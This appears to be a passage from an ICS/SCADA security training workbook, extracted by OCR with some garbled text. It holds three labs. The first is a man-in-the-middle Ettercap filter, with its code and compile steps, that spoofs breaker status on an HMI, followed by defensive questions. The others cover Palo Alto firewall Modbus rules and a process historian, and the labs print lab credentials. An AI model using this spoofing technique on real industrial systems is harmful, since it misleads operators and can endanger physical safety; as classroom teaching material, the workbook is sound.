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File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

CIP 201 Success: Service (0x4c)

201 [TCP ACKed unseen segment] | Success: Service (0x4c)

Frame 136: 201 bytes on wire (1608 bits), 201 bytes captured (1608 bits) on interface ©

Ethernet II, Src: Rockwell b3:74:2b (5c:88:16:b3:74:2b), Dst: Vmware_e0:09:e3 (00:0c:29:e0:09:e3)
Internet Protocol Version 4, Src: 172.16.1.2, Dst: 172.16.1.3

Transmission Control Protocol, Src Port: 44818, Dst Port: 49224, Seq: 2977, Ack: 1387, Len: 147
EtherNet/IP (Industrial Protocol), Session: 0x00070001, Send Unit Data, Connection ID: 0x80008353

» Common Industrial Protocol
~ CIP Class Generic
~ Command Specific Data
Data: 01000004000000506f643100000000000000000000000000...

0EE 00 Oc 29 eO 09 e3 5c 88 16 b3 74 2b 08 00 45 6¢C
00160 00 bb 23 28 40 00 40 06 bc 83 ac 10 01 02 ac 10
0030
0040
0050
0060
0070
0080
0090
00a0
00bo
00co

O 7 EtherNet/IP (Industrial Protocol) (enip), 147 bytes Packets: 267 - Displayed: 27 (10.1%)  Profile: Default

A @ DERE QA e«» e aaafF
[I[ip.src==172.16.1.2&&cip.sc==0x4c &3 ] Expression.. +
Protocol Length Info Y,

ethO breaker capture.pcapng @ ® 0

-

In order to create a Ettercap filter to spoof the breaker status on the HMI, we need to count the byte offset from beginning of
the packet. The byte that starts with "70" is our 0™ byte. We will count the number of bytes from the beginning in order to
create our Ettercap filter.

11. We are going to count the "byte offset" where we found the PLC status bits changing in order to tailor our Ettercap filter and
change the breaker value to indicate incorrectly on the HMI screen. We will calculate our byte offset next.

The EtherNet/IP payload byte count starts with zero at the beginning of the payload. As we said earlier, our "0 ™" byte starts
with the known value of "70".
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ethO breaker capture.pcapng @ ® O
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

Al A© B REG Q « » Jies_ | |E|a aa i

[I |ip.src==172.16.1.2 && cip.sc==0x4c 'J Expression.. +
No. Time Source Destination Protocol Length Info E
I .813019103 2 z 133 201 Success: Service (0x4c)
15 1.814551893 172165152 1725165133 CIP 201 Success: Service (0x4c)
24 2.819493117 172.16.1.2 172.16.1.3 CIP 201 Success: Service (0x4c)
38 3.821778440 1729165102 172516513 CIP 201 Success: Service (0x4c)
44 4.819303229 17216122 172.16.1.3 CIP 201 Success: Service (0x4c) |
50 5.822002776 172.16.1.2 172165453 CIP 201 Success: Service (0x4c) .
55 6.824428453 172:1631.2 1725165153 CIP 201 Success: Service (0x4c)
. 64 7.842077554 172.16.1.2 17248153 cTP 201 Success: Class (0xb2) - Service {(-)xdc; 1%

» Transmission Control Protocbl, Src Port: 44818, Dst Port: 49224, Seq: 1385, Ack: 607, Len: 147
: Ox80008353

» Common Industrial Protocol
» CIP Class Generic v
0016 00 bb ©b 28 40 =
0020 01
0030 20
004010 (o]
005026 (¢fe}
006042 4
007058 3
008074 [of¢]

00bo122ee]
00cO130]

139 140 141 142 143
O 7 EtherNet/IP (Industrial Protocol) (enip), 147 bytes Packets: 267 - Displayed: 44 (16.5%) Profile: Default

As we start to count, each byte offset value is shown in red. The first row ends in a 9-byte offset value, while the second row
ends at the 25" byte offset and so on.

The following helpful aid shows the byte offsets as shown in Wireshark:

0 byte ———— 9t byte
10" byte ————— 25 byte
26" byte ————— 415t byte
42" pyte ———— 57N byte
58" byte ———— 73 byte
74" byte ——— 89 pyte
90" byte ———— 105 byte
106™ byte ———— 1215t byte
122" pyte ———— 137N byte
138" byte ———— 153™ byte
154" pyte ———— 169" byte

In our example above, we see our byte offsets are 142 and 143. We should also note that a value of "01" represents a Red light
illuminated and a breaker closed status while a "00" value represents a Green light illuminated and a breaker open status.
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Note

Your position may be different, ask the instructor if unsure.

12. Record this byte offset as you will use this to customize your Ettercap filter.

Task 4 -- Spoof HMI Values (aka Blind the Operator)

Note
To spoof the two breaker status values, the bytes representing two breaker status values need to be replaced by the Ettercap

filter. To do this, the Ettercap filter needs to know the location of the bytes to replace.

1. Identify the locations of the two breaker status values you found earlier in the Wireshark captures and recorded.

Remember, byte positions start at 0 so the first byte will be at position 0 and each lineis 16 bytes.

In our example, each of the two breaker status values are at the two offset positions (i.e, "142" and "143").

Note

Your position may be different.

2. Start a new Terminal window and enter the following command in the terminal to change the working directory

cd /root/Desktop/Lab\ 2.9

3. Press the Enter key

File Edit View Search Terminal Help

:~# cd /root/Desktop/Lab\ 2.9

p~/L 2 . 9%

4. Update the Ettercap filter with the appropriate values. Run the following command in the terminal to edit the " spoof-

closed.filter " file

leafpad spoof-closed.filter

5. From the Leafpad Options menu, select " Line Numbers " to help locate the correct lines of code to modify.
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spoof-closed.filter e ® O
File Edit Search Options Help

1 p###### Font... HHHHHHHHH AR A
2 # Name: ¢ lter

3 # Descri Ordwrap ttercap Filter

4 # M N fing breaker closed

5# Createc inson

6# Date Cleaorolndent @ 2019

7 # Version: 0.1

8 IR

9

10 # Checking to see if the source is the PLC and the protocol is CIP
11 # Note: The IP address will need to be updated for your Pod

12if (ip.src == '172.16.1.2"' && tcp.src == 44818) {

13

14 # Note: The hex values need to be in the Little Endian format.
15 if (DATA.data + 46 == 0xcc) {

17 # Spoofing Red Light (i.e. Breaker Closed)
18 DATA.data + 142 0x01;
19 DATA.data + 143 0x01;

21 # Printing a message when the filter fires.
22 msg("Spoofing Breaker Closed!");

26 msg("No changes made.");

6. Update the ip.src in the "if" statement with the IP address of your Pod PLC
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10 # Checking to
11if (ip.src ==

ource is the PLC and the protocol is CIP
&& tcp.src == 44818) {

'172.16.X.2

12
e # To spoof a different value, update the hex values.
14 # Note: The hex values need to be in the Little Endian format.
15
16 if (DATA.data + 46 == Oxcc) {
1
18 # Spoofing Red Light (i.e. Breaker Closed)
19 DATA.data + 52 = 0x01;
20 DATA.data + 53 = 0x01;
21
22 # Printing a message when the filter fires.
23 msg("Spoofing Breaker Closed!");
24
25 }
26
27 msg("No changes made.");
28 }
29
30
172.16.AA.2
Where AA = Pod# = 1-15

Examples:
Podl = 172.16.1.2
Podl2 = 172.16.12.2

7. Change the offsets in the "DATA.data" + [offset] to match the byte offset you recorded in the last task.

Line#
19 DATA.data + [offset] = 0x01;
20 DATA.data + [offset] = 0x01;

Where [offset] represents the identified offset positions
In our example, we found the offsets to be 142 and 143

Example: 19 DATA.data + 142
20 DATA.data + 143

0x01;
0x01;

8. Save thefile

9. Compile the Ettercap filter so it can be used with Ettercap. Run the following command in the terminal to compile the Ettercap
filter.

etterfilter spoof-closed.filter -o spoof-closed.ef

Ensure you see where the Ettercap filter is compiled successfully.
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root@ICS612-Kali: ~/Desktop/Lab 2.9 e ® O
File Edit View Search Terminal Help
Desktop/Lab 2.9# leafpad spoof-closed.filter
sktop/Lab 2.9# etterfilter spoof-closed.filter -o spoof-clo
sed.ef
etterfilter 0.8.2 copyright 2001-2015 Ettercap Development Team
14 protocol tables loaded:
DECODED DATA udp tcp esp gre icmp ipv6 ip arp wifi fddi tr eth

13 constants loaded:
VRRP OSPF GRE UDP TCP ESP ICMP6 ICMP PPTP PPPOE IP6 IP ARP

Parsing source file 'spoof-closed.filter' done.
Unfolding the meta-tree done.

Converting labels to real offsets done.

Writing output to 'spoof-closed.ef' done.

-> Script encoded into 11 instructions.

:~/Desktop/Lab 2.9# I

10. Restart the MiTM attack and begin filtering the network traffic from the PLC to the HMI to begin spoofing the breaker values
on the HMI.

a. Open the Ettercap window

b. Select " Filters " from the top menu bar.

c. Select " Load a filter... " from the dropdown menu.
d. Select the " spoof-closed.ef " file compiled earlier.

e. Click " open'
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11.

Select a precompiled filter file...

EJ E“iroot“. Desktop | Lab2.9|

Places Name v'|Size Modified
Q Search B spoof-closed.ef 736 bytes 10:46

# Recently Used = spoof-closed.filter ;789 bytes:10:40

® root = spoof-open.filter 781 bytes : 08/20/2019
M Desktop

[2] File System

Cancel H Open

This will begin spoofing the two breakers with a "Closed" (or Red) status values on the HMI. The window at the bottom of

Ettercap will display "Spoofing Breaker Closed!" when a packet has been changed.

By performing a MiTM attack, Ettercap can capture the network traffic from the PLC to the HMI (i.e. the PLC's response to the
HMI's polling), modify the appropriate bytes to change the two breaker closed status values, and forward the modified

network traffic onto the HMI.

Open both breakers and notice that the HMI is still displaying them as "Closed" (or Red). You will see this situation causes

"misinformation" between what the physical status lights and the HMI.
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- MAIN LINE -
R -

Pod1 ~ B ¢ hoot
Bt l iEL:J ki —Tml_stﬂ 172572006 10:15:50 AM

12. Stop spoofing the two breaker closed status values on the HMI
a. Open the Ettercap window
b. Select " Filters"
c. Select " stop filtering"
d. Select " Mitm "

e. Select " stop mitm attack(s) "

f. Close Ettercap

The two breaker status values on the HMI should update to match the physical light, indicating that the two breaker status
values are no longer being spoofed.
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Note

To spoof the two breaker open status values, follow the same procedure but choose " spoof-open.filter " instead.

1. Why can you not initially monitor network traffic between the HMI and the PLC?

2. How would an attacker know what values to modify in transit? What information would be useful?

3. What are some ways to detect/prevent this type of attack?

Exercise Takeaways

Most ICS protocols were not securely designed and to ensure maximum compatibility and ease of installation/integration,

vendors usually implement insecure configurations, or at least make it the default setting. This allows an attacker with access to
the local process to monitor and manipulate network traffic.

An attacker that can manipulate network traffic and supply the operator with bad information, can trick the operator into
performing.
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Lab 3.1 -- Implementing Local Firewall

Background

Total Lab Time: 40 minutes

In this lab you will be verifying the impacts of the firewall in allowing or dropping communications, as you change rulesets and
test functionality.

Objectives

+ Understand the behavior of firewalls and default configurations.
+ Understand the role and function of a Zone-based firewall.

+ Build a communication specific policy rule.

Task 1 -- Initial Firewall Configuration Review

1. From within the "Student Windows VM', set the following static IP address.

IP address: 192.168.0.11
Subnet mask: 255.255.255.0
Default gateway: 192.168.0.1
Internet Protocol Version 4 (TCP/IPv4) Properties X |
General

You can get IP settings assigned automatically if your network supports
this capabiity. Otherwise, you need to ask your network administrator
for the appropriate IP settings.

(O Obtain an IP address automatically
(® Use the following IP address:

IP address: 192.168. 0 . 11
Subnet mask: 255.255.255. 0
Default gateway: | 192.168. 0 . 1 |

(®) Use the following DNS server addresses:

Preferred DNS server:

Alternate DNS server:

2. Physically connect the ethernet cable from the student laptop to Port 8 on the Palo Alto Networks firewall. Port 8 is at the
bottom right in the cluster of 8 ports.
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3. Physically connect the ethernet cable from the Click PLC to Port 2 on the Palo Alto Networks firewall. Port 2 is at the bottom
left in the cluster of 8 ports.

4. Physically connect one end of the spare ethernet cable to any open port other than ports 3 or 4 on the Allen-Bradley Stratix
switch and the other end to Port 1 on the Palo Alto Networks firewall. Port 1 is at the top left in the cluster of 8 ports.

At this point you should have the following cable connections.

Firewall Port 1 | Allen Bradley Switch
Firewall Port 2 | Click PLC
Firewall Port 8 | Student Laptop

5. Log into the Palo Alto Network firewall management GUI. Open the Chrome Web Browser and navigate to the firewall
management address accepting any certificate errors.

https://192.168.0.1

6. When the Palo Alto Networks firewall management GUI opens, log in using the following credentials

Username: admin Password: ICS612student!
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#0 paloalto

NETWORKS®

Username  admin

Password | eeeed

7. Click ok on the "Warning" pop-up window.

192.168.0.1 says

Warning: Your device is still configured with the default admin account
credentials. Please change your password prior to deployment.

8. Click close on the certificate message window to bring up the "Dashboard" page of the Palo Alto Networks firewall

management GUI.

Message from Content

a

Panorama CA Certificate Expiring June 16, 2017

Installation of this or subsequent content versions extends the Panorama CA certificate that is expiring on June 16, 2017. For firewalls to continue
to work with Panorama and log collectors after June 16, 2017, one of the following actions must be taken:

a. Content Update:

1.This or a subsequent content version needs to be installed on Panorama and all log collectors.

2. Following that content installation, the Panorama instance(s) and log collectors must be rebooted to complete the certificate replacement.

or,

b. Software Upgrade:

1. Panorama / log collector software needs to be upgraded to a version noted at: https://live.paloaltonetworks.com/t5/General-Topics/Panorama-
Certificate-Expiration-on-June-16-2017/m-p/150948/thread-id/50050

For additional information about your options in replacing the Panorama CA, go to https://live.paloaltonetworks.com/t5/General-Topics/Panorama-
Certificate-Expiration-on-June-16-2017/m-p/150948/thread-id/50050.

__| Do not show again
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9 From the "Top Menu Bar", Click the Network tab.

Policies Objects Network Device

19
dmins S x J Config Logs
From Client  Session Start Idle For Command

10. Select Ethernet tab.

Ethernet | VLAN | Loopback | Tunnel

4|

M
Interface Interface Type P
@& ethernet1/1 Layer2

11. Review the list and configuration of the "Ethernet" interfaces on this device.

In this list you will see interfaces ethernet1/1, etherneti/2 and ethernet1/3 with an Interface Type of 'Layer2' and a shared

VLAN named 'vlan'. However, ethernet1/1 isin Security Zone 'untrust' while ethernet1/2 and etherneti/3 arein Security

Zone 'trust’. These three interfaces all share the same layer 2 network, acting like a network switch, however, as a firewall, there

are added restrictions to consider due to the zone assignments. Ethernet1/8 is assigned with an Interface Type of Layer3

and a Security Zone as external.

[ T i e

4|

8 item!

Interface Interface Type mr%?gement SL;]; IP Address

@@ ethernet1/1 Layer2 none

@ ethernet1/2 Layer2 none

& ethernet1/3 Layer2 none

@@ ethermet1/4 none

@@ ethernet1/5 none

@@ ethernet1/6 none
@@ethernet1/7 none

@@ ethernet1/8 Layer3 Mgmt 192.168.0.1/24

12. Review the communication status with the Click PLC and Pod PLC.

Virtual Router

none
none
none
none
none
none
none

default

Tag

Untagged
Untagged
Untagged
Untagged
Untagged
Untagged
Untagged
Untagged

VLAN / Virtual-
Wire

vian
vian
vian
none
none
none
none

none

Security Zone

untrust
trust
trust
none
none
none
none

external

* The heartbeat should no longer be incrementing on the Pod HMI on either the Click 1 Overview or Click 2 Overview screen.

* Try running a product cycle through the Click HMI.

None of these methods should be functional, but these will be the methods will be used to test progress throughout the lab.

Success will be when all 3 methods work.

13. Learn more about the current firewall configuration to understand what is not working with the supplied configuration.

Enable packet capture from the firewall to monitor the configuration test, click the Monitor tab.
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Policies Objects

Dashboard  AGC Mopi

14. Select pPacket capture in the left-hand menu.

& Alarms
Authentication
(3 unified
4= Packet Capture

v (3 App Scope
Summary
[%% Change Monitor
E Threat Monitor

15. Clear configuration settings, click clear A1l settings near the bottom left.
SFFpouircL
v @ PDF Reports |
%Manage PDF Summary
8@ User Activity Report
E@Saas Application Usage ]
Bireport s

BghEmail Scheduler
%Manage Custom Reports

(] Reports

[ Clear All Settings

16. Delete previous capture files, in "Captured Files" select all files and click pelete nearthe bottom. Choose ves to confirm.

Captured Files

Date

rode w2

17. Click Manage Filters from the "Configure Filtering" area.

Configure Filtering

@ Manage Filters [2/4Filters &

Filtering E@‘i Pre-Parse Ma

18. Click Add in the bottom left, create the following to 2 filters; be sure to include exclude under the 'Non-IP' column and click

0K .
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N =

Packet Capture Filter

M| d
B 1
[ 2

Ingress Interface

ethernetl/1

ethernetl/2

Where: AA
BB

Examples:

Source
172.16.AA.2
172.16.AA.B2

Pod#
= Student#

Pod 1 / Student 1

1
2

ethernetl/1
ethernetl/2

Pod 12 / Student 2

1
2

Ingress Interface | Source
ethernet1/1 172.16.1.2
ethernet1/2 172.16.1.12

Configure Filtering

(/& Manage Filters [2/4Filters S

Filtering @:| Pre-Parse Ma

20. From the "Configuring Capture" area click Add to create a new capture configuration.

21. Within the "Packet Capture Stage" window enter firewall for 'Stage’, Packets_All for 'File'and se for 'Packet Count'.

22.Click ok when complete.

Packet

Capture Stage

Stage firewall

File Packets_ll

ethernetl/1
ethernetl/2

Destination
172.16.1.12
172.16.1.2

Destination
172.16.AA.B2
172.16.AA.2

1 - 15
= 1 o 2

172.16.1.2
172.16.1.12

172.16.12.2
172.16.12.22

SrcPort | DestPort IProtn

File name should begin with 2 letter and can have letters, digins, ', " '

Packet Count 50

Byte Count | [1-209715200]

23. Click the Packet Capture onN/OFF switch to turn packet capturing on.
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®
NonfP  |IPvé

excdude
exclude

172.16.1.12
172.16.1.2

172.16.12.22
172.16.12.2

O
0

19. Turn on the filter, click the Filtering oN/OFF switch .
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Configure Capturing
Packet Capture m:]

o
’ | stage File

[ firewall Packets_All

24. After about 1-2 minutes, from within the "Packet Capture" page click the Reload icon in the upper right-hand corner.

& Commit ¢ (@ Configw Q Search

0 items

25. To conserve firewall performance, click the Packet Capture on/oFF switch to turn packet capturing off.

Configure Capturing

Packet Capture [:]'o—tﬁ)q

[ firewall Packets_All

26. From the "Captured Files" area click packets_Al1l to download the PCAP file from the firewall and open in Wireshark.

Capturad Files

li‘ File Name
'[F] Packets

27. Review the packets and note the existence of the TCP 3-way hand-shake but only the "Query” Modbus TCP packet, no
"Response" packet.

Protocol Length Info

TCP 5450690 - 502 [ACK] Seq=1 Ack=1 Win=8192 Len=0

Modbus/TCP 66 Query: Trans: 19583; Unit: @, Func: 1: Read Ceoils
TCP 54 50693 » 5082 [ACK] Seq=1 Ack=1 Win=8192 Len=0

Modbus/TCP 66 Query: Trans: 19586; Unit: @, Func: 1: Read Coils
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28 Type mbtcp as the filter and press Enter . This will display only the Modbus TCP packets and eliminate the view of any TCP

handshake packets.

File Edit View Go Capture
A m 7@ R
[_llmb D

No. Ruesis Time

- 4 2022-02-0

29. Return to Chrome browser and the firewall management web page.

30. Review the security policies. Click on the Polices tab from the top menu.

Policies Objects Network Device

ast updated; 22:26:22

Monitor

Widgets

31. From the left-hand menu click security .

5 Security -
39 NAT

&, Qs

E;-Pollcy Based Forwarding

§ Decryption

ﬂ Tunnel Inspection

[& Application Override

a Authentication

‘ o o o1
L Enosemtagion, 7|

32. Review the four default policies provided from the factory.

* The policy rule1 allows all traffic initiated from the 'trust' zone towards the 'untrust' zone.

* The Modbus_IN rule allows 'service-modbus' initiated from the 'untrust' zone towards the 'trust’ zone. It also has a

'modbus-base’ application rule.

* The policy 'intrazone-default' allows, by default, traffic between the same Security Zone.

* The policy 'interzone-default' denies, by default, traffic between different Security Zones.

HIP Profile  Zone

Name Tags Type Zone Address  Application
1 rulel none  universal  pRR trust any any any 8 untrust  any any
2 |Modbus_IN none  universal | fRRuntrust | any any any (8] trust  any g modbus-base
3 intrazone-defé@lt none intrazone any any any any (intrazone) any any
4 interzone-def&@lt none interzone any any any any any any any
33. Review the connection flow diagram examined earlier.
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Enterprise Manufacturing Network
Network Raw Ingredients Area

Raw Ingredients Line 1 (Pod 1)

_ Unloader 1 (Click 1)
= =

Note the placement of the firewall protects the "Bulk Bag Unloader 1 (Click 1)". For the exercise, this can be assumed to all
other ClickPLCs in the plant (classroom). Two communications over TCP port 502 (Modbus) exist. Details are missing such
as which end is hosting the Modbus service and what function codes are used. The contractor laptop in the diagram does not
indicate how it communicates to the ClickPLC but operations is good with using a port on the local firewall that will be
introduced instead of connection from elsewhere.

Rules or items that need reviewing, added, or updated include:
* rule1 - May need to be either disabled or removed as it does not align with the previously examined communication flow.
» Modbus_IN - Needs to be investigated against normal traffic to determine why it does not work.
* An 'Untrust' to 'Trust' zone rule is not restrictive enough, farther restriction should be explored.

« Identify how to allow a local laptop on the firewall to only access the ClickPLC.

Task 2 -- Detailed Analysis of Modbus Communication and Configuration

1. Temporarily open communications between 'Untrust' to 'Trust' zones to learn modbus traffic. Click to highlight rule 4

"interzone-default" shown.

e o |

Name Tags Type Zone Address User  HIPProfile Zone Address  Application Service Action
1 rulel none  universal (i trust any any any R untrust  any any any & Allow
2 | Modbus_IN none  universal | PR untrust | any any any fBR trust | any Eg modbus-base | 3@ service-modb... & Allow
3 intrazone-def&it none intrazone any any any any (intrazone) any any any & allow
4 interzone-def@lt none interzone any any any any any any any any S Deny

2. At the bottom the page, click override .

& Override
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3 In the "Security Policy Rule - predefined” click the Action tab and choose Altlow in the "Action" dropdown, then click ok .

Security Policy Rule - predefined

Action Setting Log Setti
Action | Allow] v
Send ICMP Unreachable

4. Commit the change to the firewall by clicking commit atthe top right of the page.

& Comnit| & (@ Configv Q Sex

This change will open the firewall up to allow all communications to operate. We will need to revert this override once we are
ready to test rule changes or it will override those rules.

5. Using the physical switch under the front panel, cycle the Pod PLC to "Program Mode", physically power cycle the Click PLC
and cycle the PodPLC back to "Run Mode" to rebuild the communication stack.

6. Review the communications between the Click PLC and Pod PLC. Ask instructor for assistance if required.
* The heartbeat should now be incrementing on the Pod HMI on either the Click 1 Overview or Click 2 Overview screen.
* Try running a product cycle through the Click PLC. This should also be functional.

7. Open the firewall packet capture utility under the "Monitor" tab and re-run the packet capture. Ensure the filter is "ON" and you
capture about 50 packets (approx. 1-2 minutes).

8. On completion of the packet capture, download and open the capture in Wireshark.
9. Use filter mbtcp . Note down the functions and hosts

Function 1: Read Coils
Function 3: Read Holding Registers
Function 16: Write Multiple Registers

The PodPLC uses Function Code 16 (Write Multiple Registers) to send the Heartbeat response back to the ClickPLC. The ICS
Server only uses Modbus Function Code 3. This uniqueness can be carried into the new firewall security policies. There are a
couple of ways to achieve this, but we will demonstrate a way that provides an ability to block Write capability as a future
capability.

10. Update the policies, open the "Security Policies” and revert rule 4 "interzone-default” by highlighting and clicking Revert atthe
bottom of the page. Click ves to confirm.

# Revert ® Move ~ | Il Highlight Unused Rule

11. Clone the the Modbus_IN rule by highlighting it and clicking clone at the bottom of the page.

hdd G Delete @ Clone @3 Enable @ Disable Move ~

12. In the "Clone" window, select "Modbus_IN" and click ok .

13. Repeat and clone another "Modbus_IN" rule.
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Name Tags Type Zone Address User  HIF

1 rulel none  universal @} trust any any any
2  Modbus_IN none universal PR untrust  any any any
3 Modbus_IN-2 none universal @R untrust  any any any
4 | Modbus_IN-1 none universal | @R} untrust | any any any
5 intrazone-def&lt none intrazone any any any any
6 interzone-def@lt none interzone any any any any

14. Click on the actual policy named Modbus_IN, to open the editor.

15. Rename the rule to Modbus_IN_Pod_Read.

Security Policy Rule

Name I Modbus_IN_Pod_Read|

Rule Type universal (default)

Description

16. Click the source tab, add "your" PodPLC address.

Security Policy Rule

General | Source | User | Destination | Application | Service/URL Category | Actions

W 2oy || Any
M | Source Zone [W | Source Address

r
@ e untrust K 172.16.1.2

Note

Your Pod PLC address will be unique to your pod number.

17. Since there is only 1 asset with the Modbus service attached to the firewall, we will leave the destination address as any. This
could change which could justify the use more granular rules. Decisions around this should be documented for future
reference by the organization. For interest of time, click the Application tab.

18.'modbus-base’ allows the TCP handshake, we must add the specific relevant function codes for the modbus protocol to work.
Add modbus-read-coils and modbus-read-holding-registers. Click ok .

Security Policy Rule

[ @ modbus-base
r
[ [ modbus-read-coils
r
[ @ modbus-read-holding-registers
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19. Click on the actual policy name of any one of the cloned Modbus rules (i.e. Modbus_IN_1), to open the editor.
20. Rename the rule to Modbus_IN_Pod_Write.

21.Click the source tab and add the PodPLC as a "Source Address".

22. Click the Application tab and add modbus-write-multiple-registers. Click ok .

23. Click on the actual policy name of the other cloned Modbus rule (i.e. Modbus_IN_2), to open the editor.

24. Rename the rule to Modbus_IN_LvI3_Read.

25. Click the source tab and add the ICS Server,172.20.1.21, as a "Source Address".

26. Click the Application tab and add modbus-read-holding-registers. Click ok .

27. Highlight "rule1" and click pisable atthe bottom of the page. This rule can be deleted after testing is completed.

Enable (@ Disable Move ~ | Ml Highlight Unused Rules

28. Commit the changes.

29. Verify the communications between the Click PLC and Pod PLC.
* The heartbeat is incrementing on the Pod HMI.
« Validate the ability to run a cycle from the C-More HMI.
* Test Click PLC breaker control function.

* (Optionally) Validate by running another packet capture from the firewall. The results should look the same as
documented previously.

Troubleshoot

If communications is not operating, try resetting the communication stack as before.

Using the physical switch under the front panel, cycle the Pod PLC to "Program Mode", physically power cycle the Click
PLC and cycle the PodPLC back to "Run Mode" to rebuild the communication stack.

30. On completion of lab. Disconnect the firewall (port 1) uplink ethernet cable from the Pod Switch. Remove the Student Laptop
and Click PLC from the firewall and plug them back into the Pod switch. Do not use Ports 3 and 4 on the Pod switch.

31. Within the Student Windows VM, change the network interface card back to DHCP.

32. Verify the communications between the Click PLC and Pod P:LC are operational. Reset communications as before if
necessary.

1. What was the benefit of deleting the default route?

2. What is the purpose of the DMZ?
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3. How does a firewall make a DMZ possible

4. Where is an IDMZ located in the Purdue Model?

Exercise Takeaways

Demilitarized zones contain replicated or brokered services in order to hide or buffer an asset in the trusted zone from an
untrusted zone.

The Industrial DMZ mimics the design of a corporate DMZ except it is placed between the Enterprise and the Manufacturing zone.
The intent is to eliminate direct communications between the Enterprise and the Manufacturing zone and redirect access and
data exchange through a replicated service within the DMZ.

Firewalls define network security boundaries because they are capable of inspecting ingress and egress traffic into and out of the
security zone.
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Lab 3.2 -- Process Historian

Background

Total Lab Time: 25 minutes

Objectives

+ Understand historical data, trends, and charts and how they are used differently than an HMI process GUI
» Understand how an operator may interact with the system to initiate a process.

+ Understand how to use historical data as a forensics tool during an investigation.

Task 1 -- Reviewing Historical Data, Trends and Charts

1. Verify the following:
a. CompactLogix PLC has been downloaded with the Lab02.1 ladder logic program.
b. PanelView HMI has been downloaded with ICS612Pod[xx]-2.mer file loaded where "xx" is equal to your pod number.
c. Click Plus PLC has been downloaded with the Lab01.7 ladder logic program
d. C-more HMI had been download with the Lab01.7 HMI screen program
e. Useless box switch is in the "On" position
f. PanelView "Allow Click[x] Breaker Control" is "On", where [x] is your student assignment

2. From the Student Windows VM Image, open the Remote Desktop Connection and connect to an Operator Workstation (OWS).
172.20.3.AAB

Where: Pod#

= 1
= Student# = 1 -2

@[3

Examples:
Podl / Student 1 = 172.20.3.11
Podl2 / Sktudent 2 = 172.20.3.122

Username: ICS612
Password: ICS612

& Remote Desktop Connection - X

Remote Desktop
» Connection

Computer  [17220331 .

Username:  None specified
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3. Open the Historical Trend display from the SCADA HMI Client
a. Doubleclick Run client from the Desktop of the Operator Workstation.
b. With the client running and displaying the "Overview", Click the Trend button from the top menu.
c. In the sub menu, click the click x button that represents your Click PLC.

The Historical Trend display pulls the archived records from a Historian server and charts them as pens on the chart. (i.e, Line
Diagram). The terminology of chart and pen has a historical reference of when a literal chart recorder with a continuous run
of paper and pens with ink were used to record historical values.

In this application, the individual pens are mapped to tags within the application with values stored in the Historian server.
The Client application queries the Historian server for the values and draws them on the chart (aka Trend). Since the values in
a running system are always changing, these charts are constantly updating with "live" or "real-time" values of the current
process.

The pen legend below lists the pen color, the tag name, the current value and the anticipated min and max range of the tag.

Caption 11:42:21 AM [Min| Max
] {/::[Pod1]CKkO1FillBagPermit} 0| 0 1
{/-:[Pod1]Click1BagFillSimTimer. ACC} 0| 0{20,000
{/::[Pod1]Local:1:l.Data.4} 0] 0 1

A trend, like this one, is structured with the pen/tag selection to represent the process from the standpoint of historical and
live values on a graph versus a typical HMI process display (e.g., numeric objects, tanks and pipes) that represent the "live" or
"real-time" values of the process with no historical representation. Historical data archives are most commonly used in
troubleshooting/improving the operation, quality assurance of the product, or regulatory purposes. (i.e., recording 10-minute
measurements of chlorine count in the drinking water)

The next task will show how these 3 tags can be brought together in the chart to present 2 running conditions of a discrete
process. These 2 conditions will be used as the baseline of the system.

4. You will compare the result with the 'Golden Run' shown below provided on completion of site acceptance testing aka
commissioning.

Take a moment to review the process description and the associated pen names.
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. - | __um__| L » |
Pen Name Role
Yellow Pen Permit The command has
been issued to run
the fill bag

operation where 1
is commence fill
Green Pen Weight The measured bag
weight over time
Red Pen Safety The safety status

All Clear where 1 is clear

Process Description:

Many unmentioned conditions occur that indicate the process as ready to move the product into the bag. With those
conditions met, a "Permit" command is initiated to trigger a fill bag sequence. For that sequence to start and continue to
execute, two other conditions must remain true. The first, the "Weight" of the bag must be below the target weight for the
product type and, second, the safety system must always indicate a "Safety All Clear" flag. Our Useless box is operating as a
safety switch. As long as the safety switch is active, a "Safety All Clear" is indicated. If a safety event is triggered by
deactivation of the safety switch, the the "Safety All Clear" indicator is removed, and the breaker opens.

5. The next task is split between 2 versions (Task 2A and Task 2B) depending on the plant process area your Pod is operating in.
If you are in the Raw Ingredients or Packaging Area proceed to Task 2A.

If you are in the Mixing or Grinding Area proceed to Task 2B.

Task 2A -- Raw Ingredients or Packaging Area Pod -- How to run a cycle?

1. The Raw Ingredients or Packaging Area pods are programmed to fill a bag of product to a requested value. To begin, select
the COF F2 function key to bring up the Coffee selection screens. The first screen requires an entry for the product type and
the requested weight. Be sure to enter a high value for weight so time is available to witness the events.

2. You will start by entering the first product's type and weight.
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Note

Once you enter a product type, you will notice the entry box and the actual Type field are no longer equal. In order to
commit your change, touch the "Req" (Request) button and it will write the changes to the Click PLC. Once the Click PLC
transmits this value to the pod CompactLogix PLC, the CompactLogix PLC will echo the value back to the Click PLC.
Therefore, when the entry box is equal to the actual value readout, you know the CompactLogix PLC has recorded the
value. If the values are not equal, you also know that the Click PLC has not successfully sent the value to the

CompactLogix PLC

3. Once the Type and Wgt1 (Weight 1) request has been sent to the CompactLogix PLC, the entry field and the actual field will be

equal

4. You can go back and forth between the screens touching the arrow left < and arrow right > buttons.

5. Next you will request a Tote by touching the Tote Req (request) button.

© 2022 Jeffrey Shearer, Jason Dely, Tim Conway, and Chris Robinson 253



6. Once the tote request has been filled and the tote is in position, you will see the IN POS (position) indication

1IN POS
| HME | COF | TMP [ BOX [ ALM |

7. 0nce the tote is in position, you can request the filling of the bag by touching the Fill button. Once the filling permit is
requested, you will see the FILLING indication below the Fill request button.

Fill
Tote FReg Fill

IN POS F‘lljmﬁ

|\HME | COF | TMP | BOX [ LM |

8. From the Tote & Fill screen, you can touch the > button and display the actual filling weight.
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Actuals=s

H.1494 Lbs
(MBI COF | TMP [ RO [GTLM |

Task 2B -- Mixing or Grinding Area Pod -- How to run a cycle?

1. The Mixing or Grinding Area pods are programmed to grind two different product types for a requested duration value. To
begin, select the COF F2 function key to bring up the Coffee selection screens. The first screen requires an entry for the
product type and the requested weight. Be sure to enter a high value for weight so time is available to witness the events.

2. You will start by entering the first product's type and weight.

Note

Once you enter a product type, you will notice the entry box and the actual Type field are no longer equal. In order to
commit your change, touch the "Req" (Request) button and it will write the changes to the Click PLC. Once the Click PLC
transmits this value to the pod CompactLogix PLC, the CompactLogix PLC will echo the value back to the Click PLC.
